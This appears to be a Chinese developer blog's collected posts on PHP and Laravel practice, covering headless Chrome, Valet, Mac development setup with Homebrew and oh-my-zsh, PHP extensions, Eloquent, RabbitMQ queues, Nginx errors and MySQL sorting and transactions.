Mac 用户在终端使用之前,建议先绑定别名,使用起来更方便:
1 | alias google-chrome="/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome" |
1 | google-chrome --headless --disable-gpu --remote-debugging-port=9222 https://www.github.com |
参数说明:
--headless
:使用 headless 模式运行 Chrome--disable-gpu
:屏蔽现阶段可能触发的错误--remote-debug-port=9222
:DevTools 远程调试Chromehttps://www.github.com
:目标地址--screenshot
参数可以将页面内容保存为截图:
1 | google-chrome --headless --disable-gpu --screenshot --window-size=1280,1696 https://github.com |
--print-to-pdf
参数可以将页面内容保存为PDF:
1 | google-chrome --headless --disable-gpu --print-to-pdf https://github.com |
--dump-dom
参数将 document.body.innerHTML
输出:
1 | google-chrome --headless --disable-gpu --dump-dom https://github.com |
Chrome PHP 是一个可以在 headless 模式下使用 Chrome/Chromium
的类库。
安装:
1 | composer require chrome-php/chrome |
使用:
1 | use HeadlessChromium\BrowserFactory; |
brew services stop php
和 valet stop
全部停止之后:
访问站点:
brew services stop php
之后,启用 valet start
:
站点还是访问不了,一直显示 502,同时~/.config/valet/Log/nginx-error.log
会输出以下日志:
1 | 2022/02/22 20:32:00 [crit] 36873#0: *1 connect() to unix:/Users/boo/.config/valet/valet.sock failed (13: Permission denied) while connecting to upstream, client: 127.0.0.1, server: , request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/Users/boo/.config/valet/valet.sock:", host: "localhost" |
查了一下,看到了这个答案,最后尝试以下命令,解决:
1 | composer global update |
再次访问默认站点,即可看到正常输出页面:
但是当我访问同目录下的其他非默认站点时(valet 的顶级域名,比如 phpinfo.test),又会出现 502,这是为什么呢?
而且这一次还没有看到任何error.log
输出。
那这个就和Nginx
或者 PHP-FPM
没有什么关系了。
这是因为本地的Clash 设置了系统代理,所有请求都是通过 127.0.0.1:7890
转发出去的。
具体可以看一下下面两个Issue:
brew
启用PHP 或者 Nginx 了,否则端口会冲突Valet 常用命令
命令 | 描述 |
---|---|
valet forget | 从一个『驻留』目录运行此命令,从驻留目录列表将其它移除 |
valet log | 从 Valet 的服务中查看日志 |
valet paths | 查看所有『驻留』路径 |
valet restart | 重启 Valet 守护进程 |
valet start | 开启 Valet 守护进程 |
valet stop | 停止 Valet 守护进程 |
valet trust | 为 Brew 和 Valet 添加文件修改权限使 Valet 输入命令的时候不需要输入密码 |
valet uninstall | 完成卸载 Valet 守护进程 |
valet use php@7.2 | 切换PHP 版本 |
valet tld app | 切换顶级域名 |
if-else
通常是一个糟糕的选择,它导致设计复杂,代码可读性差,并且可能导致重构困难。
这里以表驱动法为例,来介绍一下为什么要避免使用if-else
。
表驱动法的意义在于逻辑和数据分离,在程序中,添加数据和添加逻辑的方式、成本是不一样的,简单来说:
下面是一段用表驱动法重构之前的if-else
代码
1 |
|
现在如果需要增加一个国家,继续使用if-else
写的话,就等同于增加一个逻辑。
1 |
|
如果改成表驱动法就是:
1 |
|
改写成表驱动法之后,如果需要增加一个国家,就只需要在数组里面加个数据,此时就分离了数据与逻辑的关系了。
重构到此结束,这样做的好处有哪些呢?
国家表格的数据可以来源以下渠道:
我们想想,聘用一个不懂编程,但培训一下就会用后台的客服便宜,还是会一个懂系统开发人员便宜?
如果这个是数据,是来自于数据库的,那么基本上公司的任何有权限的人在后台把这个映射表填一下,就能正常工作了。这个耗费与风险几乎可以忽略不计。 如果数据来自第三方 API,如果第三方添加修改了数据,你也是基本放心的。
但是如果这个是逻辑本身,那么只能是这个系统开发人员进行修改,构建,然后经过一系列的测试,进行专业部署流程,使得这个功能在产品上运行,是个耗费与风险是不言而喻的。另外考虑到多人开发,开发风格不统一的话,那么代码审查就不可避免了。
在现实中,多人开发同一个功能是很常见的,这里就会有一个多人代码风格统一的问题。
而对于数据来说,一旦数据的格式被确认之后,数据格式就是强制性的了。
比如在上面的例子中,无论是谁,加几个美国的数据也只能这样加:
1 | $countryList=[ |
就算原始数据花样丰富,最终数据必须格式化成如此。
然而如果是逻辑的话,人一多,逻辑方法就可能发生变化。你可能指望对方这样写代码:
1 | if ($country==="China" ){ |
然而,对方可能会这样写:
1 | if ($country === "China") { |
后来多了一个日本的需求,又交给不同的人去完成,说不定最后会写成这样:
1 | if ($country === "China") { |
怎样写,都没有错,然而风格却大相径庭。在多人合作编程过程中,无法控制所有人的风格,如果需要统一风格,必须依靠代码审查,这需要大量资源和成本。
另外,就是因为如此,所有和 if else 相关的逻辑在单元测试中必须进行一次测试,才能有代码覆盖率;而如果是数据,由于数据格式的可控性,无需对数据进行测试。所以说:
这也许是初级开发人员很容易犯的错误之一。
1 | public function sayHi($name){ |
只需要删除完全不必要的 Else 块,即可简化此过程:
1 | public function say($name){ |
像这种条件单一的场景,满足某个条件的情况下执行某些操作并立即返回(提前return
)是很好地解决方案。
下面的案例是另外一个比较常见的:
1 | public function doSomething($input){ |
像这样的If-Else
语句,可以看到key
和value
是一一对应的,所以可以这样写:
1 | public function doSomething($input){ |
原生 PHP 无法直接生成二维码,可以借助一些第三方的二维码库。这里使用 endroid/qr-code。
安装:
1 | composer require endroid/qr-code |
首先来了解一下二维码的一些基本特征
这是一张常见的二维码,由以下几部分构成:
其中码眼和码点是必要的,其余部分则均是为二维码美化的而添加的,非必要。
1 | require "vendor/autoload.php"; |
endroid/qr-code
提供三种不同的输出模式:
saveToFile()
:生成二维码以图片的形式保存在本地getString()
:直接输出在浏览器getDataUri()
:输出二维码图片对应的 Base641 |
|
创建二维码时,除了可以放文本,还可以放入 URL、邮箱、深度链接等等。
endroid/qr-code 似乎不支持外框、码眼、码点的自定义,具体可以查看这个 Issue。
这一等就是好几个月,直到二月初才拿到货…
好了,现在我们真的有了一台新 Mac。正式开始之前,请自行准备科学上网环境,本文不使用任何代理源。
Mac 的三指拖移手势能够大大的提高触摸板的使用频率,减少触控板左下角按键的左键功能使用,但默认是没有启用的。
所以我通常拿到一台新Mac 的第一件事情就是打开三指拖移。
按以下路径找到对应的设置面板:系统设置偏好 -> 辅助功能 -> 指针选项 -> 触控板选项
点击启用即可。
新款的MacBook 的剪刀键盘,有好几个不常用键占据了非常重要的位置,这是肯定不能接受的。
具体的改键过程,请查阅这篇笔记。
经常与终端打交道的用户,对这个一定不陌生,它就是类似Ubuntu
下的 apt-get
这样的包管理工具。
通常我需要搭建一个全新的开发环境时,它一定是第一个需要安装的工具。
打开终端,执行以下命令:
1 | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" |
常用命令如下:
命令 | 描述 |
---|---|
brew search package | 搜索软件包 |
brew install package | 安装软件包 |
brew uninstall package | 卸载软件包 |
brew list | 列出已安装清单 |
brew services list | 列出使用brew 运行的服务 |
brew upgrade xxx | 升级软件 |
brew info nginx | 查看软件包详情 |
brew help | 获取帮助 |
brew tap homebrew/php | 更新Homebrew 安装源 |
brew link php@7.3 | 手动创建符号链接Cellar |
brew unlink php@7.3 | 取消链接 |
homebrew 的重要性就不必多说了,Mac 下必装工具之一。
如果在安装homebrew
的过程中,因为众所周知的原因导致安装失败,可以看一下下面两篇笔记,说不定会有帮助:
Homebrew Cask扩展了Homebrew,使得macOS GUI 应用程序的安装和管理更优雅、简单和快速。
看看官方的实例图:
Homebrew Cask 先下载软件后解压到统一的目录中 /opt/homebrew-cask/Caskroom
,然后再软链到 ~/Applications/
目录下,省掉了自己下载、解压、拖拽安装等步骤,同样的,卸载相当简单和干净,一句命令就可以完成。
更多Homebrew Cask 的用法请自行查阅。
zsh 是一种shell语言,兼容bash,提供强大的命令行功能,比如tab补全,自动纠错功能等。
安装 zsh:
1 | brew install zsh |
oh-my-zsh
则是基于zsh
命令行,提供了主题配置,插件机制等便捷操作,将zsh
变得更加强大。
1 | sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" |
个性化配置、别名配置、插件启用都在目录 ~/.zshrc
下,可以自行扩展。
1 | zsh |
用于Finder 快速显示文件的内容,这个工具的安装就是依靠Homebrew Cask
。
1 | brew install qlcolorcode qlstephen qlmarkdown quicklook-json qlimagesize suspicious-package apparency quicklookase qlvideo |
macos
扩展是zsh
提供的一个控制终端和访达(功能之一)的扩展工具。
启用方式很简单,直接编辑~/.zshrc
,然后添加 macos
到插件列表即可:
1 | plugins=( |
其中最为常用是ofd
命令,将当前shell
窗口在访达中打开。
另一个较为常用的命令是cdf
,可在shell
中直接跳转至当前访达窗口所在的路径(如果存在多个访达窗口,那么跳转至最前面的那个)。
其他常用命令如下:
命令 | 描述 |
---|---|
tab | 在当前目录打开一个新窗口 |
split_tab | 在当前窗口打开一个水平窗口 |
vsplit_tab | 在当前窗口打开一个垂直窗口 |
ofd | 在访达窗口中打开当前目录 |
pfd | 返回最前面的访达窗口的路径 |
pfs | 返回当前查找程序选择 |
cdf | cd 到当前访达窗口所在的路径 |
pushdf | pushed 到当前访达目录 |
quick-look | 快速查看指定文件 |
man-preview | 在预览应用程序中打开特定的手册页 |
showfiles | 显示隐藏文件 |
hidefiles | 隐藏隐藏的文件 |
rmdsstore | 以递归方式删除目录中的.DS_Store文件 |
tmux
是一个终端下窗口分割的工具,有关它的具体介绍,请查阅这篇笔记。
autojump - 目录快速跳转命令行工具,从此告别cd... cd...
。
autojump 是一个Windows
、Linux
、macOS
都能使用的命令行工具,这是仅介绍macOS
的安装方式。
1 | brew install autojump |
使用brew
安装完成之后,还需要进行配置,以下方法二选一:
~/.bash_profile
文件中加入语句 [[ -s $(brew --prefix)/etc/profile.d/autojump.sh ]] && . $(brew --prefix)/etc/profile.d/autojump.sh
。~/.zshrc
文件中,修改 plugins=(git)
插件配置行,以开启 zsh
对 autojump
插件的支持 plugins=(git autojump)
。其他常用命令如下:
命令 | 描述 |
---|---|
j foo | 跳转到包含 foo 的目录 |
jc bar | 跳转到包含 bar 的子目录 |
jo file | 在访达中打开包含 file 的目录 |
autojump –help | 打开帮助列表 |
1 | sh -C "§(curl-fsSL https: //raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" |
这是因为github 的一些域名的 DNS 解析被污染,导致DNS 解析过程无法通过域名取得正确的IP地址。
打开 https://www.ipaddress.com/ 输入访问不了的域名,或者在终端使用ping
命令:
1 | ➜ ~ ping raw.githubusercontent.com |
查询到正确的域名后,将其添加到对应的hosts
文件中即可。
添加完 hosts
配置之后,homebrew
就能正常了。
Caps Lock 键占据了非常重要的位置,这个是没有办法接受的,所以需要将其替换成 Control 键。
打开 Karabiner-Elements,给予各种授权之后,直接在 Simple modifications
下面,选择需要替换的键。
复杂改键通常是以组合的方式去修改,可以在 Karabiner-Elements complex_modifications rules 上查找自己想要的规则。
因为我的外接键盘是 Keychron K6,所以直接搜索键盘名称,就可以看到很多已经写好的规则,点击 Import。
导入之后,可以自行选择启用某个规则。
通常安装 PHP 扩展,有两种方式:
源码编译安装的好处是更灵活,如果有进一步的需求,可以根据具体需要和版本,调整相关编译参数。
通常步骤如下:
1 | phpize && \ |
phpize
:来生成编译检测脚本./configure
:来做编译配置检测make
:进行编译make install
:进行安装如果需要指定配置文件位置,可以增加--with-php-config=/php-config-path
参数。
编译安装到系统成功后,需要在 php.ini
中加入一行 extension=extension.so
来启用对应扩展。
1 | extension = extension.so |
PECL 发布时间通常指晚于 GitHub 发布时间。
对于已经收录到 PHP 官方扩展库的扩展,除了手动下载编译外,还可以通过 PHP 官方提供的 pecl
命令,一键下载安装。
1 | sudo pecl channel-update pecl.php.net |
1 | sudo pecl install mongodb |
1 | php --ini |
1 | extension = extension.so |
1 | sudo service php7.4-fpm restart |
而本文要介绍的宏指令,是Laravel 根据PHP 的特性,编写了一套叫做 Macroable
的 Traits
,可以在不使用继承的情况下进行扩展。
定义一个宏指令:
1 |
|
使用它:
1 |
|
上面那个例子非常简单,再来看一个复杂一些的,将集合的数组全部转换为大写:
1 |
|
这里有必要说一下$this
的指向,在上面那个集合的示例中,$this
并不是指向当前类,而是指向当前集合。
这是因为在 Marcoable
的源代码中,是可以看到 static::$macros[$method]->bindTo($this, static::class)
这段代码。而 bindTo
是改变 $this
上下文指向的方法。
有两个地方可以用来存放有关宏指令的代码,分别是:
第一种是使用通过 Composer autoload 的简单 PHP 文件。
可以在app 目录下新建一个叫做macros.php
的文件,然后编辑 composer.json
添加一个 files
属性(注意相对路径 app/macros.php
):
1 | "autoload": { |
最后运行 composer dump-autoloader
。
这样新添加的文件将在运行时加载和执行,整个应用都可以使用其中的宏指令。
创建一个 ServiceProvider
,并注册在config/app.php
中,
比如创建一个集合的服务提供者,加入boot
方法
1 |
|
这样,整个应用就都可以访问到了。
任何使用 Macroable
Laravel 框架中的Traits
的类都可以使用宏,比如:
Macro 是Laravel 中又一强大而被忽视的存在,合理地使用Macro 以实现更好的表达和复用。
源码如下:
1 | /** |
wechatPay
方法手动再复制一份。RechargeOrderMode::create
与 wechatPay
接收的是同一个参数。前者属于系统业务,后者属于第三方服务。如果其他业务需要调用微信支付,那调用者就得提前知道wechatPay
这个方法所接收的data
参数具体是什么。wechatPay
方法目前只支持小程序支付,如果需要对接扫码或者 App 支付,在此基础上扩展起来不方便。涉及支付的地方,通常都会有订单。
创建订单和支付很像,创建订单可以有购买套餐、余额充值、开通会员等,而支付则可以有小程序支付、扫码支付、App 支付等。
可以使用策略模式来解决这个问题。策略模式用于将一组算法移到一个独立的类型中,然后通过简单工厂模式获取对应的策略对象。
下面试着来重构一下。
开发流程可以大致分为以下三块:
PayOrderStrategy
,其中定义了抽象方法 createOrder()
,其目的在于约束子类实现创建订单策略。Context
类,显式调用另一个对象的方法来执行请求。Context
类并不负责创建订单,它将这个任务交给了 PayOrderStrategy
的实现类。文件树状图如下:
1 | ├── PayOrder // 支付订单 Service |
可以看到,这种结构的一个优点是各个类的职责更加集中,VipStrategy
对象只负责创建 VIP 订单的策略,PayOrderFactory
只负责实例化对象,PayOrderContext
则只负责管理支付订单。
相比只使用继承,组合对象能够使代码更加灵活,因为对象能够以多种方式动态地组合来处理任务。
支付的核心逻辑和上面差不多。
文件树状图如下:
1 | ├──Payment |
回调就不用多说了。
PayOrder/PayOrderStrategy.php
:
1 |
|
PayOrder/PayOrderContext.php
:
1 |
|
PayOrder/PayOrderFactory.php
:
1 |
|
PayOrder/Strategy/VipStrategy.php
:
1 |
|
Payment/PaymentStrategy.php
:
1 |
|
Payment/PaymentContext.php
:
1 |
|
Payment/PaymentFactory
:
1 |
|
Payment/Strategy/Wechat/MiniStrategy.php
:
1 |
|
Payment/Strategy/Wechat/AppStrategy
:
1 |
|
1 | public function pay(VipPackageRequest $request) |
这里仅仅只是就订单和支付模块,简单重构了下,仍有不足的地方,(比如现在需要加入支付宝或者银行卡支付)还需要不断完善。
实际项目往往比这个场景要复杂,需要考虑的东西更多。
]]>使用子查询时,必须遵循以下规则:
在Laravel 中创建子查询有两种方式:
1 | $sub = UserAccountModel::selectRaw("max(balance) as balance"); |
这里用到了几个API:
1. toSql()
获取不带 binding 参数的 SQL 语句(通常是带问号的SQL):
1 | "select max(balance) as balance from `user_account`" |
2. getQuery()
获取 binding 参数:
1 | Illuminate\Database\Query\Builder {#1015 ▼ |
3. mergeBindings()
将 binding 参数合并到查询中
最终获得SQL 如下:
1 | select * from `user_account` where `balance` = (select max(balance) as balance from `user_account` limit 1) limit 1 |
直接使用查询构造器自带的闭包查询:
1 | $result = UserAccountModel::where("balance", function ($query){ |
最终获得SQL 如下:
1 | select * from `user_account` where `balance` = (select max(balance) as balance from `user_account` limit 1) limit 1 |
抛出的异常如下:
Trying to access array offset on value of type null
初步判定就是因为某个数组或者对象的值为null
,但是不确定具体是哪一行代码所导致。
于是马上打开laravel.log
系统日志文件,想从这里站牌找到异常原因。
找遍整个文件都没有发现相关字眼,这时我才意识到,本来Laravel 对于运行时错误,是会进行记录的,但是我将异常捕获到之后,并没有写入日志文件,而是直接返回给客户端了…
显然这对于后面排查问题相当不方便,所以必须做点什么,将异常信息给保存起来。
PHP 系统级用户代码的错误类型有两种,可由 try ... catch ...
进行捕获。
E_PARSE
:解析时错误(语法解析错误)通常因为少个分号、多个逗号之类的问题导致的致命错误E_ERROR
:运行时错误,通常是因为调用了未定义的函数或方法而引发的致命错误。像文章开头的那个异常,就属于:运行时错误。这类异常正是我们需要捕获并记录的。
因为目前的代码已经实现了,捕获系统异常并返回给客户端等相关功能,所以剩下需要完成的就只是写入日志文件。
由于并不是所有异常都需要记录,比如由用户行为而造成的异常,就无需额外记录,所以最终实现如下:
1 |
|
调用如下:
1 | public function say() |
这样,如果后面如果再次遇到类似的问题,就可以直接去laravel.log
文件中找到具体的异常信息了。
第一步,首先需要在 .env
文件中定义第二个数据库连接:
1 | DB_CONNECTION=mysql |
第二步,在 config/database.php
文件中配置第二个数据库连接:
1 | 'mysql' => [ |
在模型中指定需要连接的数据库:
1 | // 如果没有指定数据库连接,则会使用默认的 mysql 连接 |
这样,当再次使用该模型时,其背后连接的就是新的数据库。
1 | UserModel::find(1); |
上面是为模型指定数据库连接,那么有没有什么办法为单个查询指定连接?
也是可以的。
使用该方式之前,也需要提前配置好需要连接的数据库
1 | $data = DB::connection("mysql_center") |
这样就可以在不改变模型属性的情况下,查询到其他数据库的数据了。
Illuminate\Database\QueryException: SQLSTATE[42000]: Syntax error or access violation: 1140 In aggregated query without GROUP BY, expression #2 of SELECT list contains nonaggregated column ‘database.table.id’; this is incompatible with sql_mode=only_full_group_by
这个错误很眼熟,其原因是对于聚合操作(如:sum、max、min等),如果在SELECT 中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中。
简而言之,就是SELECT 后面接的列必须被GROUP BY 后面接的列所包含。
可是同样的SQL,在数据库中是可以正常执行的,为什么在Laravel 下却总是会报错呢?
当时也是因为项目紧急,没具体深究其原因。
今天无意间看到一篇文章——Laravel使用group by报错的问题,正好把这个问题给讲明白了。
原来是因为开发者在Laravel 5.3
版本后增加一个数据库的strict
模式,其中一个开发者对于增加这个模式的看法很有意思:
Adam14Four :
To be completely honest, I don’t remember exactly what the details were, but it was some sort of data-loss problem.
说真的,我也忘了具体的细节了,可能是因为数据丢失排序的问题。
Laravel 8.x
版本,默认会启用该模式,启用时,会造成以下影响:
fernandobandeira:
1 - Add all columns to group by.
group by需要所有的列。
2 - Won’t be able to use date’s such as 0000-00-00 00:00:00.
时间不能使用0000-00-00 00:00:00的数据。
3 - Fields like boolean will throw fatal if you pass something that isn’t a boolean value, like 1, before it would convert it to true and save, with strict it fails.
字段如果是boolean类型,但是传入一个非boolean如「1」将会抛出一个致命错误。在非strict模式下会自动转换成true并保存。
4 - You’ll get an error if you divide a field by 0 (or another field that has 0 as value).
如果一个字段除以0将会得到一个错误(或者其他有0值的字段)
1. 最简单的方案,关闭该模式即可:
编辑/config/database.php
:
1 | 'connections' => [ |
2. 配置modes
编辑/config/database.php
:
1 | 'connections' => [ |
不知为何,验证此方案时总是未生效。
3. full group by
如果不想关闭该模式,那就只有两种选择了:
但需要注意的是,这种方案并不会“一劳永逸”,以后的每一次Group By 还是会面临相同的问题。
一开始,我以为是接口抛出异常了,但是打开浏览器控制台看到响应 状态为“200 OK”,同时可以看到Console
下有一个error
。
异常信息为:NET::ERR_INCOMPLETE_CHUNKED_ENCODING 200 (OK)
。
由Http Status Code 可以判断出,这个错误跟接口没有关系,接口如果有问题,状态码一定不会是 200 。
既然和接口没有关系,那就极可能是服务端环境导致的问题了。
想明白这一点之后,马上查看Nginx 近期的错误日志。
1 | 2021/08/04 14:59:37 [crit] 11712#0: *244402125 open() "/www/server/nginx/fastcgi_temp/0/94/0000005940" failed (13: Permission denied) while reading upstream, client: 116.24.95.208, server: api.nwppm.com, request: "POST /xxxx/xxxx/index HTTP/1.1", upstream: "fastcgi://unix:/tmp/php-cgi-74.sock:", host: "api.nwppm.com", referrer: "http://xxxx.xxxx.com/" |
果然没猜错,就是因为文件夹权限不足引起的异常。
找到原因后就好办了,既然是因为factcgi_temp
文件夹权限不足引起的,那么解决方案就是更新权限:
1 | chmod -R 740 /www/server/nginx/fastcgi_temp |
问题虽然解决了,但还不知道是什么原因造成的,如果就此放下,估计今晚都会睡不着觉的…
在搞清楚这个问题之前,先来回顾一下PHP-FPM
与 Nginx 的协程流程:
9000
端口(9000 是 PHP—FPM 所监听的端口)或者 sock。以上是一个完整的HTTP 请求处理流程。其中Worker 进程处理完请求之后,会将数据返回给 FastCGI,再由Nginx 返回给客户端,这里就不得不提到Nginx 的Buffer 机制:
对于来自 FastCGI Server 的 Response,Nginx 将其缓冲到内存中,然后依次发送到客户端浏览器。缓冲区的大小由 fastcgi_buffers 和 fastcgi_buffer_size 两个值控制。
以下面这个配置进行说明:
1 | fastcgi_buffers 8 4K; |
fastcgi_buffers
控制 nginx 最多创建 8 个大小为 4K 的缓冲区fastcgi_buffer_size
则是处理 Response 时第一个缓冲区的大小,不包含在前者中所以总计能创建的最大内存缓冲区大小是 84K+4K = 36k。而这些缓冲区是根据实际的 Response 大小动态生成的,并不是一次性创建的。比如一个 8K 的页面,Nginx 会创建 24K 共 2 个 buffers。
当 Response 小于等于 36k 时,所有数据当然全部在内存中处理。如果 Response 大于 36k 呢?fastcgi_temp
的作用就在于此,多出来的数据会被临时写入到文件中,放在这个目录
下面。
有时可能会遇到需要隐藏/显示属性的需求,尽管Eloquent ORM 为我们提供了hidden
、visible
属性,但如果能动态设置,似乎更不错。
src/Illuminate/Database/Eloquent/Concerns/HidesAttributes.php
Tarit 为我们提供了几个不错的方法:
getVisible
:获取白名单setVisible
:设置白名单makeVisible
:追加白名单getHidden
:获取黑名单setHidden
:设置黑名单makeHidden
:追加黑名单1 | $user = UserModel::find(1)->makeHidden(["remember_token"]); |
需要注意一点的是,虽然属性被我们隐藏了,但如果仍需要使用该属性的话,还是可以通过
->
获取到
要定一个Accessors,需要在模型中创建一个名称为getXxxAttribute
的方法,其中的 Xxx
是驼峰命名法的字段名。
通过属性获取器,我们可以很轻松地为属性赋予新的值,但如果想要获取赋值之前的值,那么该如何做呢?
1 | /** |
src/Illuminate/Database/Eloquent/Concerns/HasAttributes.php
Tarit 为我们提供了几个不错的方法:
getAttributes
:获取赋值之前的值getAttribute
:获取指定Key,修饰之后的值getAttributeValue
:获取指定Key,修饰之后的值setAttribute
:为属性赋值getMutatedAttributes
:获取需要赋值的Key需要注意的是:以上这些Api 仅适用于模型的实例对象,对于集合不能直接使用
1 | UserModel::find(1)->getAttributes(); ✅ |
1 | $notice = NoticeModel::find(1); |
数据分页有多种方法,最简单的是使用 查询构造器 或 Eloquent query 的 paginate
方法。
但有些时候,因为一些原因,我们不想使用 paginate
自动创建分页,那有没有什么办法可以手动创建分页呢?
答案是有的,Laravel 提供以下两种方式:
Illuminate\Pagination\Paginator
:相当于查询构造器或 Eloquent 的 simplePaginate
方法。Illuminate\Pagination\LengthAwarePaginator
:相当于查询构造器或 Eloquent 的 paginate
方法。1 | UserModel::where("age", ">", 18)->paginate(15); |
Order By
子句,使用时,应注意以下几点:存在多个排序键时需要注意,第一列必须有相同的值,才会对第二个列进行排序; 如果第一个列的所有值都是唯一的,那么Mysql 将不再对第二个列进行排序。
这篇笔记的重点是记录如何在Mysql中 使用自定义排序。
为什么会有这样的需求呢?
在回答这个问题之前,先来看这样一个场景。
假设现在有一张审核记录表:
字段名称 | 字段类型 | 字段默认值 | 是否允许为空 | 索引 | 示例值 | 字段描述 |
---|---|---|---|---|---|---|
id | Bigint(16) | Unsigned 自增 | 否 | 主键 | 1 | 主键 ID |
uid | Bigint(16) | 0 | 否 | 普通索引 | 1 | 用户 ID |
status | Tinyint(1) | 0 | 否 | - | 0 | 审核状态(1. 等待审核 2. 审核通过 3. 审核拒绝) |
created_at | Timestamp | 否 | - | 2021-06-03 21:54:53 | 创建时间 | |
updated_at | Timestamp | 是 | - | 2021-06-03 21:54:57 | 更新时间 |
原本是按照这样的顺序进行排序的:待审核=> 审核通过=> 审核拒绝
对应SQL 应该是:
1 | SELECT * FROM table |
假如有一天需求发生了变化,需要优先将审核通过的排在前面,其次是等待审核,最后才是审核拒绝。
此时,你肯定不想将已经写好的代码再“重构”一次,手动将待审核
与 审核通过
的顺序进行调换。一来是,可能会将现有完整的功能,改出问题,二来是,如果后面排序需求再次发生变化,就得再次面临相同的问题。
如果Mysql 能自定义排序,那该多好啊。
不禁会这样去想。
可以使用Mysql 的字符串函数——FIELD,在不改变现有逻辑的基础上,仅仅只改变排序顺序。
对应SQL 如下:
1 | SELECT * FROM table |
本来不是多复杂的需求,实现起来也没花多久,反而是在部署测试上面,耗费不少时间。
本地测试一切正常之后,变将代码部署至服务端,因为服务器使用宝塔,部署过程也很快。
可是问题就出在了,测试过程中。
起初我只是察觉,代理服务端收到请求之后,一直没有将请求转发出去,于是查看请求日志,发现满屏的http 444
。
这个时候,我只是比较困惑,本地发送相同的请求都是正常的,怎么来自客户端的请求就有问题了。
于是,查了一下这个 444 状态码。
它实际上并不是一个标准的 HTTP Status Codes,而是Nginx 自定义的一个Code,通常用于服务端没有返回信息给客户端并且关闭了连接的场景。
服务端的Nginx 为什么会关闭连接?通常由以下两类原因引起:
想清楚这两点之后,我对比了一下本地发送的请求,与客户端发送的请求之间的差异:
本地:
1 | curl --location --request POST 'http://xxx.xxx.com/route' \ |
客户端:
1 | curl --location --request POST 'http://xxx.xxx.com/route' \ |
除了User-Agent
不同,其余信息均一致。
为了验证我的猜想,打开宝塔的Nginx 防火墙站点日志,果然,全部被拦截了:
至于为什么UA 中携带了Apache-HttpClient/4.4.1
这几个关键字就被拦截了,可以通过宝塔默认的User-Agent过滤
规则中找到答案:
可以很清晰地看到,关键词过滤规则中,有一个Apache-HttpClient
。
知道原因之后就好办了,将关键词过滤的开关给关了,服务即可正常访问。
]]>Laravel 自带了那么多队列,为什么还要使用其他队列?
这是因为Laravel 的队列,通常是基于Redis、Database的Driver,使用起来有一定的局限性。
使用专业的队列,有如下优点:
如果还不知道Rabbit MQ 是什么,可以看一下我的另一篇笔记——RabbitMQ 快速上手
Laravel 并没有默认为我们提供 RabbitsMQ Driver,所幸一些勤劳的人,帮我们完成了一些艰苦的工作——RabbitMQ Queue driver for Laravel。
引入依赖:
1 | composer require vladimir-yuldashev/laravel-queue-rabbitmq |
编辑config/queue.php
,加入一个新的连接:
1 | 'connections' => [ |
最后编辑.env
,将QUEUE_CONNECTION
改成 rabbitmq
,同时加入以下内容:
1 | RABBITMQ_HOST=127.0.0.1 |
至此,基本的配置工作就完成了,如果需要查看更多配置选项,可以查看文档。
RabbitMQ Queue 的使用是遵守Laravel 队列API的,也就是说,只需要将Driver 设置为 rabbitmq,我们根本无需关心底层的连接是如何实现的,就像正常使用Laravel 队列那样就好。
如果你不知道如何使用Laravel 队列API,请查阅官方文档。
首先创建一个Job,来感受一下RabbitMQ:
1 | php artisan make:job RabbitMQJob |
入队:
1 | Route::get("rabbitmq", function () { |
请求一下 127.0.0.1:8000/rabbitmq
,生产/投递一个任务/消息到rabbitmq-job
队列中。
然后打开RabbitMQ 管控台——http://localhost:15672
,可以看到多出了一个名为rabbitmq-job
的队列:
可以看到Ready 的数量是 1,表示该队列中等待消费的消息数量是 1,如果再次请求接口,就会发现Ready 的数量变成了 2。
此时如果没有消费者去主动消费,那么消息则一直存在于队列中。
尝试指定队列开始消费:
1 | php artisan queue:work --queue rabbitmq-job |
这个就是消费者进行消费的过程。
再次查看管控台,可以发现Ready 的数量变成了 0。
这个就是RabbitMQ 在Laravel 中的基本使用,还是很容易上手的。
队列的另一个常见的使用场景就是——延时队列。
在使用Redis 作为Driver 时,可以很轻松使用delay
API 实现延迟任务。
但是对于RabbitMQ而言,如果只是调用delay
API,就会发现消息不会被消费。
于是去查阅官方文档,看看是不是哪里的配置没有启用。但遗憾的发现,文档中并没有说明延时队列的使用方式。
最后抱着一丝侥幸在这个Issues 下找到了答案。
可以发现,决定因素就是下面这行代码:
1 | Artisan::call('rabbitmq:queue-declare', ['name' => $this->queue]); |
这行代码的意思就是,调用一个Artisan 命令,而这个命令则会生成一个队列。
这个命令是哪里来的?
这是RabbitMQ Queue 扩展包封装的。
类似命令还有以下:
1 | rabbitmq:consume Consume messages |
使用RabbitMQ 作为Laravel 队列驱动,使得Laravel 队列的可扩展性更高了。
]]>平时项目和工作中,会很频繁使用到事务,但是,一些细节如果不稍加注意,是很容易出现问题的。
这是一段很常见的代码,逻辑也很简单,首先开启事务,如果try
代码块没有异常,提交事务; 如果try
代码块遇到异常,事务进行回滚。
1 | Route::get("test", function () { |
在这个过程中,我们只知道,手动选择了开启、提交或者回滚事务,但是对于事务执行的整个过程,比如:什么时候开启了事务、什么时候提交的事务、我们都是毫无感知的。
那有没有什么办法,可以看到整个过程呢?
答案是有的。
在新的代码示例中,只加了一行代码,它的作用是延缓事务提交(这里 sleep 15秒,便于观察)。
1 | Route::get("sleep15", function () { |
同时需要配合Mysql 客户端,执行一个SQL 语句,查看正在进行中的事务:
1 | SELECT * FROM information_schema.INNODB_TRX; |
可以在发送请求之前先执行一次:
发送请求之后执行一次:
请求结束之后再执行一次:
可以很清晰地看到,事务从无到有再到无的整个过程:
往往因为事务使用不当,而造成锁表等问题,原因大多出在了第二步上。
Mysql 的锁(这篇笔记就不对锁的分类具体展开说明了),往往都是伴随事务出现。
为了演示『锁』是如何产生的,这次需要同时用到上面的两个示例。
首先请求127.0.0.1:8000/sleep15
,在请求结束之前,请求127.0.0.1:8000/test
。
此时观察请求状态,可以发现两个接口都没有马上响应。
再次打开Mysql 客户端,查看当前正在进行中的事务:
不出意外,可以发现此时等待的事务变成了两个。
通过trx_id
大小,可以判断出,先请求的127.0.0.1:8000/sleep15
事务当前正在运行中,而后面请求的127.0.0.1:8000/test
事务,则是被锁住等待,等待前面的事务释放(提交或者回滚)。
